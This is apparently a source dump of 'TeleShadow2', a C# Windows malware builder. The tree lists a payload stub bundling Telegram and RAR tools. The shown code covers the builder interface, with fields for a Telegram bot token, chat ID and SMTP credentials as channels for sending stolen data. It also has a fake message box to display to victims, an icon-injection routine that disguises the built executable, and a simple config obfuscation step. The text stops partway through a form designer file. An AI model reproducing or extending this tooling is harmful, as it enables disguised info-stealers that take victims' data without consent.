├── Builder
├── NULL.sln
├── NULL.v12.suo
└── NULL
│ ├── 2.ico
│ ├── AboutBox.Designer.cs
│ ├── AboutBox.cs
│ ├── AboutBox.resx
│ ├── Core
│ ├── Encode
│ │ └── Encode.cs
│ └── Icon
│ │ └── Icon.cs
│ ├── Main.Designer.cs
│ ├── Main.cs
│ ├── Main.resx
│ ├── Program.cs
│ ├── Properties
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ ├── Resources.resx
│ ├── Settings.Designer.cs
│ └── Settings.settings
│ ├── Resources
│ ├── 1.jpg
│ ├── 3.bmp
│ ├── Marlett_1.png
│ └── Marlett_2.png
│ ├── TeleShadow.csproj
│ └── app.config
├── README.md
├── Release
├── Icon
│ ├── SAR1.ico
│ ├── SAR2.ico
│ ├── SAR3.ico
│ ├── SAR4.ico
│ ├── SAR5.ico
│ ├── SAR6.ico
│ ├── SAR7.ico
│ └── SAR8.ico
├── TeleShadow.exe
└── stubx
├── Screen.jpg
└── Stub
├── Teleshadow Paylaod V2.0.sln
├── Teleshadow Paylaod V2.0.v12.suo
└── Teleshadow Paylaod V2.0
├── App.config
├── Program.cs
├── Properties
├── AssemblyInfo.cs
├── Resources.Designer.cs
└── Resources.resx
├── Resources
└── rar_cli.exe
├── System.Windows.Forms.dll
├── Telegram.dll
└── Teleshadow Paylaod V2.0.csproj
/Builder/NULL.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.26228.4
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TeleShadow", "NULL\TeleShadow.csproj", "{0242B5B1-4D26-413E-8C8C-13B4ED30D510}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {0242B5B1-4D26-413E-8C8C-13B4ED30D510}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {0242B5B1-4D26-413E-8C8C-13B4ED30D510}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {0242B5B1-4D26-413E-8C8C-13B4ED30D510}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {0242B5B1-4D26-413E-8C8C-13B4ED30D510}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/Builder/NULL.v12.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Builder/NULL.v12.suo
--------------------------------------------------------------------------------
/Builder/NULL/2.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ParsingTeam/TeleShadow2/99bbf29f7fe8c1ea08b58e6e82ebd9f74c82e0a1/Builder/NULL/2.ico
--------------------------------------------------------------------------------
/Builder/NULL/AboutBox.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace NULL
2 | {
3 | partial class AboutBox
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | protected override void Dispose(bool disposing)
14 | {
15 | if (disposing && (components != null))
16 | {
17 | components.Dispose();
18 | }
19 | base.Dispose(disposing);
20 | }
21 |
22 | #region Windows Form Designer generated code
23 |
24 | ///
25 | /// Required method for Designer support - do not modify
26 | /// the contents of this method with the code editor.
27 | ///
28 | private void InitializeComponent()
29 | {
30 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AboutBox));
31 | this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel();
32 | this.logoPictureBox = new System.Windows.Forms.PictureBox();
33 | this.labelProductName = new System.Windows.Forms.Label();
34 | this.labelVersion = new System.Windows.Forms.Label();
35 | this.labelCopyright = new System.Windows.Forms.Label();
36 | this.labelCompanyName = new System.Windows.Forms.Label();
37 | this.textBoxDescription = new System.Windows.Forms.TextBox();
38 | this.okButton = new System.Windows.Forms.Button();
39 | this.tableLayoutPanel.SuspendLayout();
40 | ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).BeginInit();
41 | this.SuspendLayout();
42 | //
43 | // tableLayoutPanel
44 | //
45 | this.tableLayoutPanel.ColumnCount = 2;
46 | this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 33F));
47 | this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 67F));
48 | this.tableLayoutPanel.Controls.Add(this.logoPictureBox, 0, 0);
49 | this.tableLayoutPanel.Controls.Add(this.labelProductName, 1, 0);
50 | this.tableLayoutPanel.Controls.Add(this.labelVersion, 1, 1);
51 | this.tableLayoutPanel.Controls.Add(this.labelCopyright, 1, 2);
52 | this.tableLayoutPanel.Controls.Add(this.labelCompanyName, 1, 3);
53 | this.tableLayoutPanel.Controls.Add(this.textBoxDescription, 1, 4);
54 | this.tableLayoutPanel.Controls.Add(this.okButton, 1, 5);
55 | this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill;
56 | this.tableLayoutPanel.Location = new System.Drawing.Point(9, 9);
57 | this.tableLayoutPanel.Name = "tableLayoutPanel";
58 | this.tableLayoutPanel.RowCount = 6;
59 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
60 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
61 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
62 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
63 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F));
64 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F));
65 | this.tableLayoutPanel.Size = new System.Drawing.Size(417, 265);
66 | this.tableLayoutPanel.TabIndex = 0;
67 | //
68 | // logoPictureBox
69 | //
70 | this.logoPictureBox.Dock = System.Windows.Forms.DockStyle.Fill;
71 | this.logoPictureBox.Image = ((System.Drawing.Image)(resources.GetObject("logoPictureBox.Image")));
72 | this.logoPictureBox.Location = new System.Drawing.Point(3, 3);
73 | this.logoPictureBox.Name = "logoPictureBox";
74 | this.tableLayoutPanel.SetRowSpan(this.logoPictureBox, 6);
75 | this.logoPictureBox.Size = new System.Drawing.Size(131, 259);
76 | this.logoPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
77 | this.logoPictureBox.TabIndex = 12;
78 | this.logoPictureBox.TabStop = false;
79 | //
80 | // labelProductName
81 | //
82 | this.labelProductName.Dock = System.Windows.Forms.DockStyle.Fill;
83 | this.labelProductName.Location = new System.Drawing.Point(143, 0);
84 | this.labelProductName.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0);
85 | this.labelProductName.MaximumSize = new System.Drawing.Size(0, 17);
86 | this.labelProductName.Name = "labelProductName";
87 | this.labelProductName.Size = new System.Drawing.Size(271, 17);
88 | this.labelProductName.TabIndex = 19;
89 | this.labelProductName.Text = "Null";
90 | this.labelProductName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
91 | //
92 | // labelVersion
93 | //
94 | this.labelVersion.Dock = System.Windows.Forms.DockStyle.Fill;
95 | this.labelVersion.Location = new System.Drawing.Point(143, 26);
96 | this.labelVersion.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0);
97 | this.labelVersion.MaximumSize = new System.Drawing.Size(0, 17);
98 | this.labelVersion.Name = "labelVersion";
99 | this.labelVersion.Size = new System.Drawing.Size(271, 17);
100 | this.labelVersion.TabIndex = 0;
101 | this.labelVersion.Text = "Null";
102 | this.labelVersion.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
103 | //
104 | // labelCopyright
105 | //
106 | this.labelCopyright.Dock = System.Windows.Forms.DockStyle.Fill;
107 | this.labelCopyright.Location = new System.Drawing.Point(143, 52);
108 | this.labelCopyright.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0);
109 | this.labelCopyright.MaximumSize = new System.Drawing.Size(0, 17);
110 | this.labelCopyright.Name = "labelCopyright";
111 | this.labelCopyright.Size = new System.Drawing.Size(271, 17);
112 | this.labelCopyright.TabIndex = 21;
113 | this.labelCopyright.Text = "Null";
114 | this.labelCopyright.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
115 | //
116 | // labelCompanyName
117 | //
118 | this.labelCompanyName.Dock = System.Windows.Forms.DockStyle.Fill;
119 | this.labelCompanyName.Location = new System.Drawing.Point(143, 78);
120 | this.labelCompanyName.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0);
121 | this.labelCompanyName.MaximumSize = new System.Drawing.Size(0, 17);
122 | this.labelCompanyName.Name = "labelCompanyName";
123 | this.labelCompanyName.Size = new System.Drawing.Size(271, 17);
124 | this.labelCompanyName.TabIndex = 22;
125 | this.labelCompanyName.Text = "Null";
126 | this.labelCompanyName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
127 | //
128 | // textBoxDescription
129 | //
130 | this.textBoxDescription.Dock = System.Windows.Forms.DockStyle.Fill;
131 | this.textBoxDescription.Location = new System.Drawing.Point(143, 107);
132 | this.textBoxDescription.Margin = new System.Windows.Forms.Padding(6, 3, 3, 3);
133 | this.textBoxDescription.Multiline = true;
134 | this.textBoxDescription.Name = "textBoxDescription";
135 | this.textBoxDescription.ReadOnly = true;
136 | this.textBoxDescription.ScrollBars = System.Windows.Forms.ScrollBars.Both;
137 | this.textBoxDescription.Size = new System.Drawing.Size(271, 126);
138 | this.textBoxDescription.TabIndex = 23;
139 | this.textBoxDescription.TabStop = false;
140 | this.textBoxDescription.Text = "Null";
141 | //
142 | // okButton
143 | //
144 | this.okButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
145 | this.okButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
146 | this.okButton.Location = new System.Drawing.Point(339, 239);
147 | this.okButton.Name = "okButton";
148 | this.okButton.Size = new System.Drawing.Size(75, 23);
149 | this.okButton.TabIndex = 24;
150 | this.okButton.Text = "&OK";
151 | //
152 | // AboutBox
153 | //
154 | this.AcceptButton = this.okButton;
155 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
156 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
157 | this.ClientSize = new System.Drawing.Size(435, 283);
158 | this.Controls.Add(this.tableLayoutPanel);
159 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
160 | this.MaximizeBox = false;
161 | this.MinimizeBox = false;
162 | this.Name = "AboutBox";
163 | this.Padding = new System.Windows.Forms.Padding(9);
164 | this.ShowIcon = false;
165 | this.ShowInTaskbar = false;
166 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
167 | this.Text = "AboutBox";
168 | this.Load += new System.EventHandler(this.AboutBox_Load);
169 | this.tableLayoutPanel.ResumeLayout(false);
170 | this.tableLayoutPanel.PerformLayout();
171 | ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).EndInit();
172 | this.ResumeLayout(false);
173 |
174 | }
175 |
176 | #endregion
177 |
178 | private System.Windows.Forms.TableLayoutPanel tableLayoutPanel;
179 | private System.Windows.Forms.PictureBox logoPictureBox;
180 | private System.Windows.Forms.Label labelProductName;
181 | private System.Windows.Forms.Label labelVersion;
182 | private System.Windows.Forms.Label labelCopyright;
183 | private System.Windows.Forms.Label labelCompanyName;
184 | private System.Windows.Forms.TextBox textBoxDescription;
185 | private System.Windows.Forms.Button okButton;
186 | }
187 | }
188 |
--------------------------------------------------------------------------------
/Builder/NULL/AboutBox.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Drawing;
5 | using System.Reflection;
6 | using System.Windows.Forms;
7 |
8 | namespace NULL
9 | {
10 | partial class AboutBox : Form
11 | {
12 | public AboutBox()
13 | {
14 | InitializeComponent();
15 | this.Text = String.Format("About {0}", AssemblyTitle);
16 | this.labelProductName.Text = AssemblyProduct;
17 | this.labelVersion.Text = String.Format("Version {0}", AssemblyVersion);
18 | this.labelCopyright.Text = AssemblyCopyright;
19 | this.labelCompanyName.Text = AssemblyCompany;
20 | this.textBoxDescription.Text = AssemblyDescription
21 | + Environment.NewLine
22 | + Environment.NewLine
23 | + "Programmers:"
24 | + Environment.NewLine
25 | + "Amir - PersonaTeam"
26 | + Environment.NewLine
27 | + "Shadow - Parsing Digital Security Team"
28 | + Environment.NewLine
29 | + Environment.NewLine
30 | + "Thanks: "
31 | + Environment.NewLine
32 | + "JeJePlus, T3rmin4t0r, ROZHHALAT ";
33 | }
34 |
35 | #region Assembly Attribute Accessors
36 |
37 | public string AssemblyTitle
38 | {
39 | get
40 | {
41 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyTitleAttribute), false);
42 | if (attributes.Length > 0)
43 | {
44 | AssemblyTitleAttribute titleAttribute = (AssemblyTitleAttribute)attributes[0];
45 | if (titleAttribute.Title != "")
46 | {
47 | return titleAttribute.Title;
48 | }
49 | }
50 | return System.IO.Path.GetFileNameWithoutExtension(Assembly.GetExecutingAssembly().CodeBase);
51 | }
52 | }
53 |
54 | public string AssemblyVersion
55 | {
56 | get
57 | {
58 | return Assembly.GetExecutingAssembly().GetName().Version.ToString();
59 | }
60 | }
61 |
62 | public string AssemblyDescription
63 | {
64 | get
65 | {
66 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyDescriptionAttribute), false);
67 | if (attributes.Length == 0)
68 | {
69 | return "";
70 | }
71 | return ((AssemblyDescriptionAttribute)attributes[0]).Description;
72 | }
73 | }
74 |
75 | public string AssemblyProduct
76 | {
77 | get
78 | {
79 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyProductAttribute), false);
80 | if (attributes.Length == 0)
81 | {
82 | return "";
83 | }
84 | return ((AssemblyProductAttribute)attributes[0]).Product;
85 | }
86 | }
87 |
88 | public string AssemblyCopyright
89 | {
90 | get
91 | {
92 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCopyrightAttribute), false);
93 | if (attributes.Length == 0)
94 | {
95 | return "";
96 | }
97 | return ((AssemblyCopyrightAttribute)attributes[0]).Copyright;
98 | }
99 | }
100 |
101 | public string AssemblyCompany
102 | {
103 | get
104 | {
105 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCompanyAttribute), false);
106 | if (attributes.Length == 0)
107 | {
108 | return "";
109 | }
110 | return ((AssemblyCompanyAttribute)attributes[0]).Company;
111 | }
112 | }
113 | #endregion
114 |
115 | private void textBoxDescription_TextChanged(object sender, EventArgs e)
116 | {
117 |
118 | }
119 |
120 | private void AboutBox_Load(object sender, EventArgs e)
121 | {
122 |
123 | }
124 | }
125 | }
126 |
--------------------------------------------------------------------------------
/Builder/NULL/Core/Encode/Encode.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 |
5 | namespace Core
6 | {
7 | class Encode
8 | {
9 | internal static byte [] Reverse(byte [] Data) //Reverse Encode config!
10 | {
11 | byte[] Temp = new byte[Data.Length];
12 | for (int i = 0; i < Data.Length; i++){
13 | Temp[(Temp.Length - 1) - i] = Data[i];
14 | }
15 | return Temp;
16 | }
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/Builder/NULL/Core/Icon/Icon.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Runtime.InteropServices;
4 | using System.Security;
5 | using System.Text;
6 |
7 | namespace Core
8 | {
9 | class Icon
10 | {
11 | [SuppressUnmanagedCodeSecurity()]
12 | private class NativeMethods
13 | {
14 | [DllImport("kernel32")]
15 | public static extern IntPtr BeginUpdateResource(string fileName,
16 | [MarshalAs(UnmanagedType.Bool)] bool deleteExistingResources);
17 |
18 | [DllImport("kernel32")]
19 | [return: MarshalAs(UnmanagedType.Bool)]
20 | public static extern bool UpdateResource(IntPtr hUpdate, IntPtr type, IntPtr name, short language,
21 | [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] data, int dataSize);
22 |
23 | [DllImport("kernel32")]
24 | [return: MarshalAs(UnmanagedType.Bool)]
25 | public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)] bool discard);
26 | }
27 |
28 | // The first structure in an ICO file lets us know how many images are in the file.
29 | [StructLayout(LayoutKind.Sequential)]
30 | private struct ICONDIR
31 | {
32 | // Reserved, must be 0
33 | public ushort Reserved;
34 | // Resource type, 1 for icons.
35 | public ushort Type;
36 | // How many images.
37 | public ushort Count;
38 | // The native structure has an array of ICONDIRENTRYs as a final field.
39 | }
40 |
41 | // Each ICONDIRENTRY describes one icon stored in the ico file. The offset says where the icon image data
42 | // starts in the file. The other fields give the information required to turn that image data into a valid
43 | // bitmap.
44 | [StructLayout(LayoutKind.Sequential)]
45 | private struct ICONDIRENTRY
46 | {
47 | ///
48 | /// The width, in pixels, of the image.
49 | ///
50 | public byte Width;
51 | ///
52 | /// The height, in pixels, of the image.
53 | ///
54 | public byte Height;
55 | ///
56 | /// The number of colors in the image; (0 if >= 8bpp)
57 | ///
58 | public byte ColorCount;
59 | ///
60 | /// Reserved (must be 0).
61 | ///
62 | public byte Reserved;
63 | ///
64 | /// Color planes.
65 | ///
66 | public ushort Planes;
67 | ///
68 | /// Bits per pixel.
69 | ///
70 | public ushort BitCount;
71 | ///
72 | /// The length, in bytes, of the pixel data.
73 | ///
74 | public int BytesInRes;
75 | ///
76 | /// The offset in the file where the pixel data starts.
77 | ///
78 | public int ImageOffset;
79 | }
80 |
81 | // Each image is stored in the file as an ICONIMAGE structure:
82 | //typdef struct
83 | //{
84 | // BITMAPINFOHEADER icHeader; // DIB header
85 | // RGBQUAD icColors[1]; // Color table
86 | // BYTE icXOR[1]; // DIB bits for XOR mask
87 | // BYTE icAND[1]; // DIB bits for AND mask
88 | //} ICONIMAGE, *LPICONIMAGE;
89 |
90 |
91 | [StructLayout(LayoutKind.Sequential)]
92 | private struct BITMAPINFOHEADER
93 | {
94 | public uint Size;
95 | public int Width;
96 | public int Height;
97 | public ushort Planes;
98 | public ushort BitCount;
99 | public uint Compression;
100 | public uint SizeImage;
101 | public int XPelsPerMeter;
102 | public int YPelsPerMeter;
103 | public uint ClrUsed;
104 | public uint ClrImportant;
105 | }
106 |
107 | // The icon in an exe/dll file is stored in a very similar structure:
108 | [StructLayout(LayoutKind.Sequential, Pack = 2)]
109 | private struct GRPICONDIRENTRY
110 | {
111 | public byte Width;
112 | public byte Height;
113 | public byte ColorCount;
114 | public byte Reserved;
115 | public ushort Planes;
116 | public ushort BitCount;
117 | public int BytesInRes;
118 | public ushort ID;
119 | }
120 |
121 | public static void InjectIcon(string exeFileName, string iconFileName)
122 | {
123 | InjectIcon(exeFileName, iconFileName, 1, 1);
124 | }
125 |
126 | public static void InjectIcon(string exeFileName, string iconFileName, uint iconGroupID, uint iconBaseID)
127 | {
128 | const uint RT_ICON = 3u;
129 | const uint RT_GROUP_ICON = 14u;
130 | IconFile iconFile = IconFile.FromFile(iconFileName);
131 | var hUpdate = NativeMethods.BeginUpdateResource(exeFileName, false);
132 | var data = iconFile.CreateIconGroupData(iconBaseID);
133 | NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_GROUP_ICON), new IntPtr(iconGroupID), 0, data,
134 | data.Length);
135 | for (int i = 0; i <= iconFile.ImageCount - 1; i++)
136 | {
137 | var image = iconFile.ImageData(i);
138 | NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_ICON), new IntPtr(iconBaseID + i), 0, image,
139 | image.Length);
140 | }
141 | NativeMethods.EndUpdateResource(hUpdate, false);
142 | }
143 |
144 | private class IconFile
145 | {
146 | private ICONDIR iconDir = new ICONDIR();
147 | private ICONDIRENTRY[] iconEntry;
148 |
149 | private byte[][] iconImage;
150 |
151 | public int ImageCount
152 | {
153 | get { return iconDir.Count; }
154 | }
155 |
156 | public byte[] ImageData(int index)
157 | {
158 | return iconImage[index];
159 | }
160 |
161 | public static IconFile FromFile(string filename)
162 | {
163 | IconFile instance = new IconFile();
164 | // Read all the bytes from the file.
165 | byte[] fileBytes = System.IO.File.ReadAllBytes(filename);
166 | // First struct is an ICONDIR
167 | // Pin the bytes from the file in memory so that we can read them.
168 | // If we didn't pin them then they could move around (e.g. when the
169 | // garbage collector compacts the heap)
170 | GCHandle pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned);
171 | // Read the ICONDIR
172 | instance.iconDir = (ICONDIR)Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject(), typeof(ICONDIR));
173 | // which tells us how many images are in the ico file. For each image, there's a ICONDIRENTRY, and associated pixel data.
174 | instance.iconEntry = new ICONDIRENTRY[instance.iconDir.Count];
175 | instance.iconImage = new byte[instance.iconDir.Count][];
176 | // The first ICONDIRENTRY will be immediately after the ICONDIR, so the offset to it is the size of ICONDIR
177 | int offset = Marshal.SizeOf(instance.iconDir);
178 | // After reading an ICONDIRENTRY we step forward by the size of an ICONDIRENTRY
179 | var iconDirEntryType = typeof(ICONDIRENTRY);
180 | var size = Marshal.SizeOf(iconDirEntryType);
181 | for (int i = 0; i <= instance.iconDir.Count - 1; i++)
182 | {
183 | // Grab the structure.
184 | var entry =
185 | (ICONDIRENTRY)
186 | Marshal.PtrToStructure(new IntPtr(pinnedBytes.AddrOfPinnedObject().ToInt64() + offset),
187 | iconDirEntryType);
188 | instance.iconEntry[i] = entry;
189 | // Grab the associated pixel data.
190 | instance.iconImage[i] = new byte[entry.BytesInRes];
191 | Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage[i], 0, entry.BytesInRes);
192 | offset += size;
193 | }
194 | pinnedBytes.Free();
195 | return instance;
196 | }
197 |
198 | public byte[] CreateIconGroupData(uint iconBaseID)
199 | {
200 | // This will store the memory version of the icon.
201 | int sizeOfIconGroupData = Marshal.SizeOf(typeof(ICONDIR)) +
202 | Marshal.SizeOf(typeof(GRPICONDIRENTRY)) * ImageCount;
203 | byte[] data = new byte[sizeOfIconGroupData];
204 | var pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned);
205 | Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject(), false);
206 | var offset = Marshal.SizeOf(iconDir);
207 | for (int i = 0; i <= ImageCount - 1; i++)
208 | {
209 | GRPICONDIRENTRY grpEntry = new GRPICONDIRENTRY();
210 | BITMAPINFOHEADER bitmapheader = new BITMAPINFOHEADER();
211 | var pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned);
212 | Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject(),
213 | Marshal.SizeOf(typeof(BITMAPINFOHEADER)));
214 | pinnedBitmapInfoHeader.Free();
215 | grpEntry.Width = iconEntry[i].Width;
216 | grpEntry.Height = iconEntry[i].Height;
217 | grpEntry.ColorCount = iconEntry[i].ColorCount;
218 | grpEntry.Reserved = iconEntry[i].Reserved;
219 | grpEntry.Planes = bitmapheader.Planes;
220 | grpEntry.BitCount = bitmapheader.BitCount;
221 | grpEntry.BytesInRes = iconEntry[i].BytesInRes;
222 | grpEntry.ID = Convert.ToUInt16(iconBaseID + i);
223 | Marshal.StructureToPtr(grpEntry, new IntPtr(pinnedData.AddrOfPinnedObject().ToInt64() + offset),
224 | false);
225 | offset += Marshal.SizeOf(typeof(GRPICONDIRENTRY));
226 | }
227 | pinnedData.Free();
228 | return data;
229 | }
230 | }
231 | }
232 | }
--------------------------------------------------------------------------------
/Builder/NULL/Main.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace NULL
2 | {
3 | partial class Main
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.components = new System.ComponentModel.Container();
32 | this.Controller = new System.Windows.Forms.Timer(this.components);
33 | this.panel1 = new System.Windows.Forms.Panel();
34 | this.BtnMinimize = new System.Windows.Forms.Button();
35 | this.BtnMaximize = new System.Windows.Forms.Button();
36 | this.btnClose = new System.Windows.Forms.Button();
37 | this.RD_SMTP = new System.Windows.Forms.RadioButton();
38 | this.RD_Telegram = new System.Windows.Forms.RadioButton();
39 | this.GroupSMTP = new System.Windows.Forms.GroupBox();
40 | this.SMTP_Combo = new System.Windows.Forms.ComboBox();
41 | this.label6 = new System.Windows.Forms.Label();
42 | this.SMTP_IN = new System.Windows.Forms.TextBox();
43 | this.label5 = new System.Windows.Forms.Label();
44 | this.SMTP_Pass = new System.Windows.Forms.TextBox();
45 | this.label3 = new System.Windows.Forms.Label();
46 | this.label4 = new System.Windows.Forms.Label();
47 | this.SMTP_User = new System.Windows.Forms.TextBox();
48 | this.BtnTest = new System.Windows.Forms.Button();
49 | this.label8 = new System.Windows.Forms.Label();
50 | this.FakeM_Body = new System.Windows.Forms.TextBox();
51 | this.label7 = new System.Windows.Forms.Label();
52 | this.groupBox6 = new System.Windows.Forms.GroupBox();
53 | this.RD_Disable = new System.Windows.Forms.RadioButton();
54 | this.RD_Error = new System.Windows.Forms.RadioButton();
55 | this.RD_Info = new System.Windows.Forms.RadioButton();
56 | this.RD_Question = new System.Windows.Forms.RadioButton();
57 | this.FakeM_Title = new System.Windows.Forms.TextBox();
58 | this.GroupTGApi = new System.Windows.Forms.GroupBox();
59 | this.Telegram_Token = new System.Windows.Forms.TextBox();
60 | this.label1 = new System.Windows.Forms.Label();
61 | this.label2 = new System.Windows.Forms.Label();
62 | this.Telegram_ID = new System.Windows.Forms.TextBox();
63 | this.BtnBrowse = new System.Windows.Forms.Button();
64 | this.BtnAbout = new System.Windows.Forms.Button();
65 | this.BtnBuild = new System.Windows.Forms.Button();
66 | this.GroupMethod = new System.Windows.Forms.GroupBox();
67 | this.GroupFMessage = new System.Windows.Forms.GroupBox();
68 | this.GroupBuild = new System.Windows.Forms.GroupBox();
69 | this.GroupIcon = new System.Windows.Forms.GroupBox();
70 | this.ChkIco9 = new System.Windows.Forms.RadioButton();
71 | this.ChkIco8 = new System.Windows.Forms.RadioButton();
72 | this.ChkIco7 = new System.Windows.Forms.RadioButton();
73 | this.ChkIco6 = new System.Windows.Forms.RadioButton();
74 | this.ChkIco5 = new System.Windows.Forms.RadioButton();
75 | this.ChkIco4 = new System.Windows.Forms.RadioButton();
76 | this.ChkIco3 = new System.Windows.Forms.RadioButton();
77 | this.ChkIco2 = new System.Windows.Forms.RadioButton();
78 | this.ChkIco1 = new System.Windows.Forms.RadioButton();
79 | this.IconPriv = new System.Windows.Forms.PictureBox();
80 | this.LabelAbout = new System.Windows.Forms.Label();
81 | this.Light = new System.Windows.Forms.Panel();
82 | this.ChkIco00 = new System.Windows.Forms.RadioButton();
83 | this.panel1.SuspendLayout();
84 | this.GroupSMTP.SuspendLayout();
85 | this.groupBox6.SuspendLayout();
86 | this.GroupTGApi.SuspendLayout();
87 | this.GroupMethod.SuspendLayout();
88 | this.GroupFMessage.SuspendLayout();
89 | this.GroupBuild.SuspendLayout();
90 | this.GroupIcon.SuspendLayout();
91 | ((System.ComponentModel.ISupportInitialize)(this.IconPriv)).BeginInit();
92 | this.SuspendLayout();
93 | //
94 | // Controller
95 | //
96 | this.Controller.Tick += new System.EventHandler(this.Controller_Tick);
97 | //
98 | // panel1
99 | //
100 | this.panel1.BackColor = System.Drawing.Color.Black;
101 | this.panel1.Controls.Add(this.BtnMinimize);
102 | this.panel1.Controls.Add(this.BtnMaximize);
103 | this.panel1.Controls.Add(this.btnClose);
104 | this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
105 | this.panel1.Location = new System.Drawing.Point(0, 0);
106 | this.panel1.Name = "panel1";
107 | this.panel1.Size = new System.Drawing.Size(736, 22);
108 | this.panel1.TabIndex = 12;
109 | this.panel1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.panel1_MouseDown);
110 | this.panel1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.panel1_MouseMove);
111 | this.panel1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.panel1_MouseUp);
112 | //
113 | // BtnMinimize
114 | //
115 | this.BtnMinimize.Anchor = System.Windows.Forms.AnchorStyles.Right;
116 | this.BtnMinimize.FlatAppearance.BorderSize = 0;
